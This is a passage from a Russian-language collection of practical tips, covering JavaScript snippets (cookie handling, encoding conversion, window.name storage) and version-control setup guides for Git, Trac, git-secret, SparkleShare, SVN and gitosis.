  • Технология Pusa не имеет возможности инициировать событие со стороны сервера. Инициатором событий является исключительно клиент (таймер возможен). Выводы. Технологии, основывающиеся на необходимости хранения состояния клиента потенциально ограничены ростом клиентских подключений, и как следствие предполагают централизацию аппаратных ресурсов. Возможность инициации событий со стороны сервера является необходимой опцией для внутренних решений. Три перечисленных фактора определяет рынок корпоративных решений, как наиболее привлекательный для технологий, аналогичных Korolev. Качественная оптимизация Korolev явно демонстрируют стремление к минимизации накладных расходов на хранение клиентских состояний, но не устраняет их. Pusa, принципиально следуя парадигме чистого REST, нацелена на рынок открытых решений, со значительным количеством клиентских подключений. Pusa предполагает использование множества независимых инстансов, с минимальными требования, без необходимости их общего взаимодействия. Запросы одного и того же пользователя к Pusa могут обрабатываться различными инстансами в рамках одной сессии, что позволяет использовать решение под значительными нагрузками. Ссылки
  • Korolev
  • Pusa
  • сравнительная схема
  • Анонс публикации Pusa
  •  
    ----* Промежуточное хранение JavaScript данных на стороне клиента (доп. ссылка 1)   Автор: abava  [комментарии]
     
    Для хранения определенного набора данных, привязанных к определенному окну браузера, 
    без задействования ограниченных по размеру cookie, можно использовать
    JavaScript  атрибут "window.name".
    При этом данные достаточно загрузить один раз (например, инициализировать параметры сессии) 
    и они сохранятся при переходах между страницами.
    
       <script type="text/javascript">
          window.name = "строка с данными, вмещается даже 100Кб";
       </script>
    
     
    ----* Перекодирование из koi8-r и windows-1251 в unicode на JavaScript   [комментарии]
     
    var koi2utf={
    163:1105,
    179:1025,
    192:1102,
    193:1072,
    194:1073,
    195:1094,
    196:1076,
    197:1077,
    198:1092,
    199:1075,
    200:1093,
    201:1080,
    202:1081,
    203:1082,
    204:1083,
    205:1084,
    206:1085,
    207:1086,
    208:1087,
    209:1103,
    210:1088,
    211:1089,
    212:1090,
    213:1091,
    214:1078,
    215:1074,
    216:1100,
    217:1099,
    218:1079,
    219:1096,
    220:1101,
    221:1097,
    222:1095,
    223:1098 
    };
    
      function koi2unicode (str){
         if (str == null){ return null;}
         var result = "";
         var o_code = "";
         var i_code = "";
         for (var I=0; I < str.length; I++){
            i_code = str.charCodeAt(I);
                                       
            if (koi2utf[i_code] != null){
                o_code = koi2utf[i_code];
            } else if (i_code > 223 && koi2utf[i_code-32] != null){
                o_code = koi2utf[i_code-32]-32;
            } else {
                o_code = i_code;
            }
            result = result + String.fromCharCode(o_code);
         }
    
         return result;
      }
    
    function win2unicode (str){
         if (str == null){ return null;}
         var result = "";
         var o_code = "";
         var i_code = "";
         for (var I=0; I < str.length; I++){
            i_code = str.charCodeAt(I);
    
            if (i_code == 184){
                o_code = 1105;
            } else if (i_code == 168){
                o_code = 1025;
            } else if (i_code > 191 && i_code < 256){
                o_code = i_code + 848;
            } else {
                o_code = i_code;
            }
            result = result + String.fromCharCode(o_code);
         }                                                
          
         return result;
    }
    
     
    ----* Использование хэшей и массивов в JavaScript (доп. ссылка 1)   Автор: Дмитрий Котеров  [комментарии]
     
    Хэши:
       var hash = {
         color:    "red",
         artefact: "pill",
         actors: {
           supplier: "Morpheus",
           consumer: "Neo"
         }
       }
    
       var hash = new Object();
       hash.color = "blue";
       hash.element = "pill";
    
       var element1 = hash.element;
       var element2 = hash['element'];
    
    Массивы - это обыкновенные хэши с числовыми ключами, а также ключом length, содержащим их длину.
    
       var arr = [100, 200, 300];
       for (var k in arr) alert(k + "=>" + arr[k]);
    
     
    ----* Функция для выборки заданного cookie на JavaScript   [обсудить]
     
    function GetCookie (name) {
         var arg = name + "=";
         var alen = arg.length;
         var clen = document.cookie.length;
         var endstr = 0;
         var i = 0;
         while (i < clen) {
            var j = i + alen;
            if (document.cookie.substring(i, j) == arg){
                 endstr = document.cookie.indexOf (";", j);
                 if (endstr == -1){
                      endstr = document.cookie.length;
                 }
                 return unescape(document.cookie.substring(j, endstr));
            }
            i = document.cookie.indexOf(" ", i) + 1;
            if (i == 0) { break; }
          }
          return null;
    }
    var cook_uname = GetCookie('uname');
    
     
    ----* Как инвертировать значения множественных checkbox полей через JavaScript   [комментарии]
     
    <form ... name=s>
    <input type="checkbox" name="i" ....>
    <a href="#" onClick="Javascript:invert_checkbox('s','i');return false;">
    function invert_checkbox (form_name, checkbox_name){
        element = document.forms[form_name].elements;
        for (i=0; i < element.length; i++) {
            if (element[i].name == checkbox_name){
                if(element[i].checked == true) {
                    element[i].checked = false;
                } else {
                    element[i].checked = true;
                }
            }
        }
    }
    
     
    ----* Как выставить Cookie через JavaScript   [обсудить]
     
    <script language="JavaScript">
     function set_cookie(){
       var expiry = new Date();
       expiry.setTime(expiry.getTime() + 24*60*60*1000);
       document.cookie='test1=123; path=/; expires=' + expiry.toGMTString();
       document.cookie='test2=456; path=/; expires=' + expiry.toGMTString();
     }
    </script>
    <body onLoad="set_cookie();">
    
     
    ----* Как вызвать JavaScript блок из A HREF, вместо ссылки (без перехода и прокрутки в окне) ?   [комментарии]
     
    <A HREF="" OnClick="Javascript:test_func();return false;">
    "return false" - приводит к неизменности текущей страницы.
    
     
    ----* Как в JavaScript осуществить сложение числа и строки   [комментарии]
     
    <input type="button" value="+" onClick='price_item_3.value=parseInt(price_item_3.value)+1;'>
    <input type="button" value="-" onClick='if (  price_item_3.value != 0){price_item_3.value=parseInt(price_item_3.value)-1};'>
    
     
    ----* Как вернуться на предыдущую страницу   [комментарии]
     
    <input type="button" name="repeat" value=" BACK " OnClick="history.go(-1);">
    
     

       Системы контроля версий и управления исходными текстами

    ----* Прикрепление к коммиту в Git нескольких цифровых подписей   [обсудить]
     
    В некоторых ситуациях может потребоваться добавить к уже существующему коммиту
    дополнительные цифровые подписи. Например, отдельные подписи могут прикреплять
    участники, занимавшиеся рецензированием кода, или ответственные за выпуск
    релизов, подтверждая проверку в своей зоне ответственности.
    
    Для добавления  подписей можно использовать интерфейс git-notes, позволяющий
    прикреплять произвольные данные к существующим коммитам.
    
    Добавление подписи:
    
       git rev-parse HEAD | gpg --sign | base64 -w0 | \
         git notes --ref refs/signatures append --file=-
       git push origin refs/signatures
    
    Верификация подписи:
    
       git fetch origin refs/signatures
       git notes merge -s cat_sort_uniq origin/refs/signatures
       git notes --ref refs/signatures show | \
         xargs -L1 -I {} sh -c "echo {} | base64 -d | gpg -d"
    
    
    Для упрощения вышеописанных действий в рамках проекта git-signatures
    подготовлено дополнение к git, позволяющее привязывать к коммиту или тегу сразу
    несколько цифровых подписей. Код дополнения написан на bash и требует для своей
    работы только Git и GnuPG.
    
    
    Получение и объединение подписей из внешнего репозитория:
    
       git signatures pull
    
    Добавление новой подписи для тега:
    
       git signatures add v1.0.0
    
    Передача добавленных локально подписей во внешний репозиторий:
    
       git signatures push
    
    Выполнение всех вышеописанных действий одним шагом (pull/merge/sign/push):
    
       git signatures add --push v1.0.0
    
    Оценка цифровых подписей для тега (вывод всех идентификаторов открытых ключей):
    
       git signatures verify v1.0.0
    
    Проверка мультиподписи (m-of-n) (проверка всех подписей в одном GPG trustdb,
    если 0 - то проверка прошла успешно):
    
       git signatures verify --min-count 2 v1.0.0
    
    Проверка мультиподписей в разных  GPG trustdb;
    
       git signatures verify --trustdb dev-team.db --min-count 2 v1.0.0
       git signatures verify --trustdb release-team.db --min-count 1 v1.0.0
    
     
    ----* Хранение конфиденциальных данных в Git-репозитории (доп. ссылка 1)   [комментарии]
     
    В рамках проекта git-secret развивается простой плагин для Git, позволяющий
    хранить отдельные файлы в репозитории в зашифрованном виде. Например,
    шифрование может применяться к файлам с паролями, сертификатами и любыми
    другими конфиденциальными данными, которые не следует разглашать. В отличие от
    хранения подобных файлов отдельно от Git-репозитория, git-secret позволяет
    унифицировать обращение с приватной информацией и минимизировать угрозу её
    случайного добавления в репозиторий в открытом виде (например, периодически
    всплывают инциденты с размещением в публичных репозиториях файлов с паролями).
    
    
    Git-secret написан на bash и использует GPG для шифрования. Работа организуется
    через применение команды "git secret reveal", которая  расшифровывает все
    необходимые файлы с использованием персонального закрытого ключа. При коммитах
    помеченные конфиденциальными файлы будут приниматься только в зашифрованном виде.
    
    Начало работы с git-secret (для шифрования в gpg должны быть созданы ключи RSA):
    
    Инициализируем репозиторий git-secret (будет создан каталог .gitsecret/):
    
       git secret init 
    
    Добавляем пользователя (name@pgp_email - связанный с RSA-ключами email):
    
       git secret tell name@pgp_email
    
    Помечаем секретные файлы  (после данной операции git_secret не позволит
    поместить их в репозиторий без шифрования):
    
       git secret add имена_файлов
    
    Шифруем ранее помеченные файлы:
    
       git secret hide
    
    Шифрование производится при помощи открытого ключа, ранее переданного командой
    "git secret tell". Произвольное число разработчиков могут зашифровать файлы, но
    только владелец закрытого ключа может их расшифровать.
    
    Теперь можно выполнять коммит. Чтобы не запускать команду "git secret hide"
    перед каждым коммитом, её рекомендуется прописать для автоматического вызова на
    стадии pre-commit.
    
    Для расшифровки файлов необходимо выполнить команду:
    
       git secret reveal
    
     
    ----* Связка Git и Trac на Fedora 18 с использованием mod_wsgi   Автор: Denis Salmanovich  [комментарии]
     
    В статье речь пойдет о том, как связать вместе распределённую систему
    управления версиями файлов Git и средство управления проектами и
    отслеживания ошибок в программном обеспечении Trac на Fedora 18 используя mod_wsgi.
    
    
    В более старых версиях Fedora эта связка работала на mod_python. Официально,
    этот проект умер. Вот и пришлось искать альтернативы.
    
    Все следующие действия будут происходить под учетной записью root.
    
    Hostname нашей станции: trac-server.loc
    
    Установим все необходимые пакеты:
    
       yum install httpd git trac trac-git-plugin mod_wsgi firewalld \\
                php php-pear php-mysql php-mbstring python
    
    
    Если у нас не установлен DNS сервер, редактируем файл /etc/hosts. Добавим в него имя нашего хоста.
    
       127.0.0.1   localhost localhost.localdomain localhost4  localhost4.localdomain4 trac-server.loc
       ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
    
    
    Настроим виртуальный хост апача (/etc/httpd/conf.d/vhosts.conf):
    
       ServerName trac-server.loc
       <VirtualHost *:80>
           DocumentRoot /var/www/html
           ServerPath /html
           ServerName trac-server.loc
           ServerAlias trac-server.loc
           ServerAlias www.trac-server.loc
       </VirtualHost>
    
      
    Включаем поддержку коротких тегов:
    
       sed -i 's/^short_open_tag = Off/short_open_tag = On/g' /etc/php.ini
    
    
    Если нужен доступ к ресурсам трэк сервера из-вне, открываем порт в файерволе:
    
       firewall-cmd --permanent --add-service=http
       firewall-cmd --reload
    
    
    Включаем и запускаем apache:
    
       systemctl enable httpd
       systemctl start httpd
    
    
    Создаем директории для нашего трэк сервера и гит репозиторий:
    
       install -d /srv/{trac,git}
    
    
    Создадим WSGI скрипт (/srv/trac/trac.wsgi):
    
       #!/usr/bin/env python
       import os
       def application(environ, start_request):
           os.environ['TRAC_ENV_PARENT_DIR'] = '/srv/trac'
           os.environ['PYTHON_EGG_CACHE'] = '/tmp/egg-cache'
           from trac.web.main import dispatch_request
           return dispatch_request(environ, start_request)
    
    
    Создадим файл конфигурации (/etc/httpd/conf.d/trac.conf):
    
       WSGIScriptAlias /trac /srv/trac/trac.wsgi
       <Directory /srv/trac>
           WSGIApplicationGroup %{GLOBAL}
           Require all granted
       </Directory>
       <LocationMatch "/trac/[^/]+/login">
           AuthType Digest
           AuthName "Trac"
           AuthUserFile /srv/trac/.htpasswd
           Require valid-user
       </LocationMatch>
       
    
    Создадим файл конфигурации (/etc/httpd/conf.d/git.conf):
    
       SetEnv GIT_PROJECT_ROOT /srv/git
       SetEnv GIT_HTTP_EXPORT_ALL
    
       AliasMatch ^/git/(.*/objects/[0-9a-f]{2}/[0-9a-f]{38})$          /srv/git/$1
       AliasMatch ^/git/(.*/objects/pack/pack-[0-9a-f]{40}.(pack|idx))$ /srv/git/$1
       ScriptAlias /git/ /usr/libexec/git-core/git-http-backend/
    
       Alias /git /srv/git
       <Directory /srv/git>
           Options Indexes FollowSymLinks Multiviews
           AllowOverride All
           Require all granted
       </Directory>
       <LocationMatch "^/git">
           DAV on
           AuthType Digest
           AuthName "Git"
           AuthUserFile /srv/git/.htpasswd
           Require valid-user
       </LocationMatch>
    
    
    Создадим файл, который будет содержать пользователей и пароли для доступа к trac серверу.
    
    У меня таких файлов два, отдельно для доступа к trac и отдельно для доступа к git репозиториям.
    
       htdigest -c /srv/trac/.htpasswd 'Trac' admin
       htdigest -c /srv/git/.htpasswd 'Git' admin
    
    Этими командами мы создали пользователя "admin". Для дальнейшего добавления
    пользователей или для смены паролей, используется та же команда, только без "-c".
    
    На этом этапе системная конфигурация закончена.
    
    Добавим новый проект под кодовым названием pr1:
    
       trac-admin /srv/trac/pr1 initenv
       install -d /srv/git/pr1/.git
       git --bare init /srv/git/pr1/.git
    
    
    Подкорректируем настройки нашего проекта в файле (/srv/trac/pr1/conf/trac.ini):
    
    Включим поддержку git путем добавления в конец файла двух строчек:
    
       [components]
       tracext.git.* = enabled
    
    И корректированием:
    
       sed -i 's/^repository_type =.*$/repository_type = git/g' /srv/trac/pr1/conf/trac.ini
       sed -i 's/^repository_dir =.*$/repository_dir = \\/srv\\/git\\/pr1\\/.git/g' /srv/trac/pr1/conf/trac.ini
    
    
    Теперь дадим пользователю "admin" привелегии trac админа:
    
       trac-admin /srv/trac/pr1 permission add admin TRAC_ADMIN
    
    
    Если мы не хотим запретить доступ к нашему трэк серверу не авторизированным пользователям, то:
    
       trac-admin /srv/trac/pr1 permission remove anonymous '*'
    
    
    Ну и в конце подкорректируем права доступа к директориям, где будут храниться данные:
    
       chown -R apache:apache /srv/{trac,git}
    
    
    Перезагрузим apache:
    
       systemctl httpd restart
    
    
    Теперь можно зайти на trac сервер в наш проект по адресу:
    
       http://trac-server.loc/trac/pr1
    
    Для работы с git используйте адрес:
    
       http://trac-server.loc/git/pr1
    
    Например при команде:
    
       git clone http://trac-server.loc/git/pr1
    
    Будет запрошено имя пользователя и пароль для авторизации.
    
     
    ----* Определение типа окончания строк (Windows или Unix) для текстовых файлов в небольшом Web-проекте   Автор: Kroz  [комментарии]
     
    Ситуация: небольшой Web-проект разрабатывается несколькими людьми на разных ОС:
    Windows и Linux. В результате в некоторых файлах перевод строк сделан в стиле
    Windows, в некоторых - в стиле Unix. Неудобство состоит в том, что если
    какая-то "интеллектуальная" программа поменяет тип перевода строк, система
    контроля версий Subversion помечает все строки как изменившиеся, и нужны
    дополнительные усилия чтобы определить реальные изменения. Поэтому было принято
    решение определить тип перевода строк в каждом файле, и применить
    соответствующие меры (например, использовать атрибут svn:eol-style в subversion).
    
    Скрипт простой, легко кастомизируется под автоматическую конвертацию (с помощью
    dos2unix), другие типы файлов, определение стиля Macintosh (в данном случае
    различается только Windows и Unix):
    
       for FILE in `find -iname '*.php' -or -iname '*.css' -or -iname '*.js' -or -iname '*.txt' -or -iname '*.xml'` ; do
          echo -n "$FILE ... " ;
          WIN=`grep -P "\\r$" $FILE | head`;
          if [ -z "$WIN" ] ; then
             echo "Unix"
          else
             echo "Windows"
          fi
       done
    
     
    ----* Получение инкрементальных diff-файлов для subversion   Автор: Аноним  [комментарии]
     
    Для того чтобы в subversion получить инкрементальный diff между ревизиями ("как
    в git"), чтобы было проще изучить изменения, можно использовать следующий скрипт:
    
       #!/bin/sh
    
       url="$1"
       rev_start=$2
       rev_end=$3
       rev=$rev_start
    
       while [ "$rev" -lt "$rev_end" ]
       do
    	rold=$rev
    	rev=`expr $rev + 1`
    	fn=`printf %08d-%08d.diff $rold $rev`
    	echo $fn
    	svn diff $url@$rold $url@$rev > $fn
       done
    
    Результат - файлы с именами xxxxxxxx-xxxxxxxy.diff, где xxxxxxxx и xxxxxxxy - номера ревизий.
    
     
    ----* Использование Git в Vim (доп. ссылка 1)   Автор: felicson  [комментарии]
     
    Ниже представлены два плагина, которые позволяют из Vim работать с Git.
    
    Требования к плагину были простыми:
    * Показывать активную ветку текущего файла
    * Переключение между разными ветками, без выхода из Vim
    * Кроссплатформенность
    
    В итоге удалось найти два законченных плагина, которые удовлетворяют данным требованиям:
    git-branch-info.vim и git.vim
    
    git-branch-info.vim
    
    Этот плагин был сделан для показа информации о текущей ветке в статусной строке.
    
       set laststatus=2 " Включение строки статуса внизу редактора
       set statusline=%{GitBranchInfoString()}
    
    В дополнение к информации о текущей ветке, он может показать список всех веток
    в текущем репозитории через пункт меню (только в Gvim) и позволяет
    проверить/извлечь определенную ветку.
    
    
    
    Одно замечание по этому плагину - он был разработан только для пользователей
    Linux и не будет работать в Windows в том виде в каком он есть.
    
    
    git.vim
    
    Git.vim более комплексный плагин, который позволяет пользователю производить
    больше действий с Git не покидая окружения Vim. Домашняя страница на GitHub
    http://github.com/motemen/git-vim/tree/master перечисляет все возможности,
    доступные благодоря этому плагину.
    
    Функция вызываемая для установки статусной строки называется - GitBranch().
    Итак, строки добавляемые в .vimrc должны быть такими:
    
       set laststatus=2
       set statusline=%{GitBranch()}
    
    Но к сожалению, здесь есть ошибка в функции GitBranch(). Снова выручает GitHub,
    проект был форкнут и доступен здесь http://github.com/amjith/git-vim . Автору
    отправлен запрос с указанием ошибки.
    
    Несколько других возможностей этого плагина продемонстрированы ниже. Этот
    плагин поставляется с файлами проверки синтаксиса, которые подсвечивают
    git-log, git-diff и git commit сообщения. Подсветку синтаксиса можно посмотреть
    на следующих снимках.
    
    
    
    ":GitCommit" открывает отдельное окно для ввода информации о коммите, и
    коммитит текущий файл в репозиторий. Если файлы не добавлены в индекс, то
    плагин автоматически вызывает git commit с опицей -a для внесения всех
    измененных файлов в индекс  и коммитит их в репозиторий.
    
    
    
    
    ":GitDiff" открывает отдельное окно с выводом команды git diff по текущему файлу.
    
    
    
    ":GitLog" показывает лог сообщение коммита по текущему файлу.
    
    
    
    ":GitBlame" показывает изменения файла в виде списка однострочных записей, по
    одному имени пользователя на строку в вертикальном окне.
    Это экспериментальная функция, для слияния конфликтующих файлов использует
    Vimdiff, ":GitVimDiffMerge" и другие команды git можно вызвать из Vim используя :Git.
    
     
    ----* Организация файлового хранилища на базе Git-репозитория при помощи Sparkleshare (доп. ссылка 1)   [комментарии]
     
    В рамках проекта Sparkleshare развивается свободный движок для организации
    похожих на Dropbox online-хранилищ, непосредственное хранение данных в которых
    осуществляется в любом Git-репозитории. Использование Git позволяет
    задействовать элементы версионного контроля для отслеживания изменений в
    файлах, давая возможность отследить все изменения и при необходимости вернуться
    к состоянию определенного файла в прошлом.
    
    С технической стороны SparkleShare является Git-клиентом, оптимизированным для
    хранения и обмена файлами. Программа может использоваться не только для
    хранения своих файлов, но и для организации обмена файлами с другими людьми или
    для обеспечения синхронизации данных между домашним и рабочим ПК. SparkleShare
    поддерживает шифрование хранимых данных, что позволяет использовать публичные
    Git-репозитории не опасаясь возможной утечки информации. Например, можно
    использовать Git-репозитории в публичных сервисах Gitorious и GitHub.
    
    Рассмотрим процесс развертывания Sparkleshare-хранилища под управлением Fedora
    Linux с целью организации доступного дома и на работе хранилища. Для
    организации рабочего процесса создадим в домашней директории каталог
    Sparkleshare, в котором будем создавать подкаталоги, соответствующие текущим
    проектам. В качестве первичного хранилища будет использовать Git-репозиторий на
    собственном сервере, доступ к которому организован через SSH. Одновременно
    настроим на сервере доступность сохраняемых файлов через web, разместив клон
    репозитория в директории ~/public_html.
    
    
    Установка Sparkleshare на локальной клиентской машине.
    
    Добавляем соответствующий YUM-репозиторий, в котором содержатся готовые пакеты с Sparkleshare:
    
        cd /etc/yum.repos.d
        sudo curl -O http://repos.fedorapeople.org/repos/alexh/sparkleshare/fedora-sparkleshare.repo
    
    Устанавливаем Sparkleshare 
    
        sudo yum install -y sparkleshare ssh-askpass
    
    Удаляем пакет nautilus-python, так как иначе при работе Sparkleshare наблюдается крах Nautilus.
    
        sudo yum remove -y nautilus-python
    
    PS. Пользователи Ubuntu могут загрузить  Sparkleshare из PPA-репозитория:
    
       sudo add-apt-repository ppa:pdffs/sparkleshare
       sudo apt-get update
       sudp apt-get install sparkleshare
    
    Настройка Git-репозитория
    
    Создаем Git-репозиторий на внешнем сервере, который будет использован в
    качестве первичного хранилища:
    
       git init --bare repo.git
    
    Для работы на сервере должны быть установлены пакеты с git и openssh-server.
    
    Проводим первичное клонирование репозитория в директорию ~/public_html, чтобы
    файлы были доступны через web:
    
       cd ~/public_html
       git clone repo.git
       cd repo
    
    Создаем тестовый файл:
    
       echo 'Fedora 15 rocks!' >> test.txt
    
    Добавляем файл в Git и принимаем изменения.
    
       git add test.txt
       git commit test.txt -m 'initial commit2'
    
    Создаем начальную ветку:
     
       git push origin master
    
    
    
    Подключаем свои локальные машины к репозиторию
    
    На локальной рабочей машине останавливаем рабочий процесс Sparkleshare и
    клонируем созданный на прошлом шаге репозиторий
    
       sparkleshare stop
    
       cd ~/SparkleShare
       git clone логин@хост:/home/логин/repo.git
    
    Проверяем содержимое:
    
       cd ~/SparkleShare/repo
       ls
    
    Меняем содержимое тестового файла
    
       echo 'Pandas rule.' >> test.txt; 
    
    Применяем изменения:
    
       git commit -a -m 'panda PSA'
       git push
    
    
    На удаленном сервере, где создан базовый Git-репозиторий принимаем изменения:
    
       cd ~/public_html/repo
       git pull
    
    Проверяем, изменилось ли содержимое test.txt:
    
       cat test.txt
    
    Если все работает нормально, то запускаем на локальной машине Sparkleshare
    которые возьмет в свои руки выполнение рутинных операций по отслеживанию
    изменений и синхронизации данных на внешний сервер.
    
       sparkleshare start
    
    Настраиваем автозапуск Sparkleshare в GNOME:
    
       cp /usr/share/applications/sparkleshare.desktop ~/.config/autostart
    
    Заходим в директорию с репозиторием SparkleShare
    
       cd ~/SparkleShare/repo
    
    и создаем там новый тестовый файл:
    
       echo '42' >> theanswer.txt
    
    На удаленном сервере клонируем репозиторий и убеждаемся, что новый файл
    автоматически был помещен в Git:
    
        cd ~/public_html/repo
        git pull
        ls
    
    Все работает.
    
    
    Создаем автоматически обновляемое зеркало для просмотра репозитория из web.
    
    Настроим автоматическое клонирование репозитория удаленном сервере, с которого
    будет осуществлена раздача файлов через Web. Для работы нам понадобиться
    настроить удаленный вход со второй машины на первую по SSH по ключам, без ввода
    пароля. Инструкцию по настройке можно найти здесь.
    
    На удаленном сервере переходим в базовую директорию с Git-репозиторием (не клоном)
    
        cd ~/git.repo/hooks
    
    Добавляем скрипт, который будет срабатывать при добавлении файлов в
    репозиторий. В этом скрипте автоматически будет выполнять локальное
    клонирование репозитория для его видимости в web.
    
    Создадим скрипт post-receive в директории ~/git.repo/hooks (не забудьте
    подставить реальное значение вместо "логин"):
    
       #!/bin/sh
    
       while read oldrev newrev refname
       do
          true
       done
       cd /home/user/public_html/repo
       GIT_DIR=/home/логин/public_html/repo/.git git pull
    
    Проверим, создав на локальной системе третий тестовый файл:
    
       cd ~/SparkleShare/repo
       echo 'Fedora 15' >> latestfedora.txt
    
    
    Переходим на удаленном сервере в директорию с клоном репозитория для web и
    проверяем появился ли новый файл:
    
       cd ~/public_html/repo
       ls
    
    Подсказки по настройке работы Sparkleshare c Github и Gitorious можно найти на
    странице http://sparkleshare.org/help/
    
     
    ----* Основы использования Subversion для управления исходными текстами (доп. ссылка 1)   [комментарии]
     
    Создание SVN-репозитория:
    
    
       svnadmin create путь_к_репозиторию
    
    например
    
       svnadmin create ~/svn/project1
    
    Импорт в репозиторий дерева исходных текстов:
    
    
       svn import [директория] [URL] -m "комментарий"
    
    например
    
       svn import public_html file:///home/user/svn/project1 \
           -m "первый импорт кода"
    
    В нашем случае URL с путем к репозиторию указывает на локальную файловую систему.
    
    Просмотр содержимого репозитория:
    
          svn list [URL]
          svnlook tree [repository path]
    
    например
    
          svn list file:///home/user/svn/project1
          svnlook tree ~/svn/project1
    
    Извлечение рабочей копии исходных текстов из репозитория:
    
       svn checkout [URL] [директория для сохранения]
    
    например
    
       svn checkout file:///home/user/svn/project1 test
    
    срез содержимого репозитория будет сохранен в директорию test, в которой можно
    начать редактирование файлов.
    
    Статус изменений в рабочей копии можно посмотреть командой
    
       svn status
    
    Первый символ в выводе определяет характер изменений:
    
       ' ' без изменений
       'A' добавлено
       'C' конфликт
       'D' удалено
       'I' игнорировано
       'M' изменено
       'R' заменено
       'X' добавлена новая директория
       '?' элемент для которого не ведется версионный контроль (новый файл)
       '!' элемент отсутствует (удалено без подтверждения в svn)
     
    Перед коммитом изменений необходимо убедиться в отсутствии файлов с признаками
    "?" и "!", добавив новые файлы через команду "svn add" и удалив ненужные через
    "svn delete" или восстановив удаленные по ошибке через "svn update".
    
    Типичные операции с файлами в рабочей копии.
    
    Добавление новых файлов, ранее отсутствовавших в репозиторий (команда
    выполняется находясь в директории с рабочей копией):
    
       svn add имя_файла
    
    Удаление ненужных файлов из репозитория :
    
       svn delete имя_файла
    
    если файл по ошибке был удален вручную, то восстановить его можно командой
    
       svn update имя_удаленного_файла
    
    Просмотр лога изменений:
    
       svn log
    
    Просмотра лога изменений только в рамках заданной ревизии:
    
       svn log -r 10
    
    Подтверждение (коммит) внесенных изменений в основной репозиторий (номер
    ревизии при каждом коммите автоматически увеличивается на 1).
    
       svn commit
    
    Если репозиторием пользуются другие разработчики, после совершения коммита
    следует синхронизировать состав рабочей директории, в случае если с момента
    создания локальной копии в репозиторий были внесены изменения другими разработчиками.
    
       svn update
    
    
    Для формирования  копии части репозитория без служебных данных (без .svn
    поддиректорий), например, для размещения в web, нужно использовать команду:
    
       svn export [URL репозитория или файла/директории в нем]
    
    например
    
       svn export file:///home/user/svn/project1/dir/file.html
       svn export file:///home/user/svn/project1/dir
    
    Проверка номера версии текущей рабочей директории:
    
       svnversion
    
    Если в ответ будут показаны цифры, значит все изменения зафиксированы коммитом. 
    Если перед цифрами указана буква "M", значит в рабочей директории имеются
    измененные файлы, ожидающие передачи в репозиторий.
    Если в выводе фигурирует несколько цифр, разделенных двоеточием, значит после
    вашего коммита в репозитории другим участником были внесены изменения, которые
    следует синхронизировать через "svn update".
    
    Для просмотра различий между двумя ревизиями одного файла в рабочей директории
    необходимо выполнить:
    
       svn diff имя_файла
    
    Для возврата рабочей директории к прошлой ревизии (отмены изменений) можно использовать команду:
    
       svn merge -r 4:1 file:///home/user/svn/project1
    
    где, 4 - текущая ревизия, а 1 - ревизия на которую осуществляется откат рабочей директории.
    
    Для переименования репозитория можно использовать следующую схему.
    Создает новый пустой репозиторий:
    
       svnadmin create новое_имя
    
    Делаем бэкап старого репозитория в файл:
    
       svnadmin dump ~/svn/старое_имя > old_repo.dump
    
    Загружаем дамп с резервной копией в новый репозиторий:
    
       svnadmin load ~/svn/новое_имя < old_repo.dump
    
    Удаляем старый репозиторий:
    
       rm -rf ~/svn/старое_имя 
    
     
    ----* Пример работы с персональным Git репозиторием   [комментарии]
     
    Имеем две машины: "рабочая" для хранения базового репозитория и работающего проекта, и локальная, 
    на которой будем вносить в этот репозиторий правки. 
    
    Для создания нового репозитория в созданной директории "проект" нужно перейти в
    эту директорию и выполнить:
      git init
    
    А затем добавить ранее созданные там файлы: 
      git add .
    
    Для того, чтобы с локальной машины по SSH зайти на "хост" под именем "логин" и клонировать на свою 
    машину репозиторий, находящийся с директории "/home/логин/проект" (префикс
    ssh:// добавляктся по умолчанию)
      git clone логин@хост:/home/логин/проект master
    
    Для того, чтобы через некоторое время синхронизировать из основного или другого репозитория 
    изменения, нужно выполнить: 
      git pull логин@хост:/home/логин/проект master
    
    Локальный клон сделан. 
    Далее правим в созданной на локальной машине "проект"
      git commit -a -m "комментарий о проделанной работе"     
    
    Если ошиблись и нужно вернуть все обратно: 
      git revert
    
    Чтобы зафиксировать версию (если наступил такой момент): 
      git tag тэг_версии
    
    Когда все готово, помещаем изменения в основой репозиторий: 
      git push логин@хост:/home/логин/проект master                      
    
    Для того, чтобы сгенерировать рабочий проект (в нашем случае сайт) на рабочем сервере 
    нужно выполнить (в директории с проектом): 
      git update-server-info                                                          
      git checkout HEAD -f
    
    Вернуться к прошлой ревизии: 
      git checkout HEAD~1
    
    К позапрошлой: 
      git checkout HEAD~2
    
    Построить проект с заданным номером версии: 
      git checkout тэг_версии
    
     
    ----* Создание хостинга для git репозитория в Debian Linux (доп. ссылка 1)   Автор: Kirill A. Korinskiy  [комментарии]
     
    Как оказалось, в современном debian создать хостинг для git репозитория, не
    просто просто, а очень просто.
    
    Начнем мы ставить, на сервере, софт. Понадобиться нам gitosis и git-core.
    Говорим волшебное заклинание:
    
       sudo aptitude install gitosis git-core
    
    Следующим шагом надо создать gitosis хостинг:
    
       sudo -H -u git gitosis-init < .ssh/authorized_keys2
    
    Да, авторизация будет происходить только по ключам.
    
    Дальше, надо разрешить выполнение post-update хука:
    
       sudo chmod 755 /srv/gitosis/repositories/gitosis-admin.git/hooks/post-update
    
    Теперь нам нужен git-daemon, который бы раздавал все что мы делаем
    (этот шаг нужен, если мы хотим разрешить всем read only доступ):
    
       sudo update-inetd --group OTHER --add 'git\tstream\ttcp\tgitosis\tgitosis\t/usr/bin/git\tgit daemon \
         --inetd --export-all  --base-path=/srv/gitosis/repositories/'
    
    Все, на этом настройка сервера закончена. Теперь начинаем настраивать, собственно, хостинг. 
    Прелесть этой системы в том что все управление делается через git :).
    
    Давайте, для начала, возьмем себе административный репозиторий:
    
       git clone gitosis@SERVER:gitosis-admin.gi
    
    Мы получим репозиторий, в котором будет лежать директория keydir. В ней лежат
    публичные ключи людей,
    которые имеют доступ к нашему хостингу. В качестве имени файла используется его
    имя из открытого ключа.
    Т.е. что бы добавить человека нужно, просто, добавить его ключ.
    
    Для примера, мы создадим группу developer и testers, группа developers будет иметь доступ 
    к двум проектам на запись (project1-dev и project2-dev) и к проекту группы
    testers на чтение. Группы testers наоборот.
    
       [group quux]
       members = joe smith
       writable = projeect1-dev project2-dev
       readonly = testers
    
    
       [group quux]
       members = max john
       writable = testers
       readonly = projeect1-dev project2-dev
    
    Теперь осталось только сделать commit.
    
    Если сделать доступ, через git-daemon, то любой, сможет прочитать эти проекты.
    
     
    ----* Хранение файлов конфигурации в RCS (доп. ссылка 1)   Автор: mahoro  [комментарии]
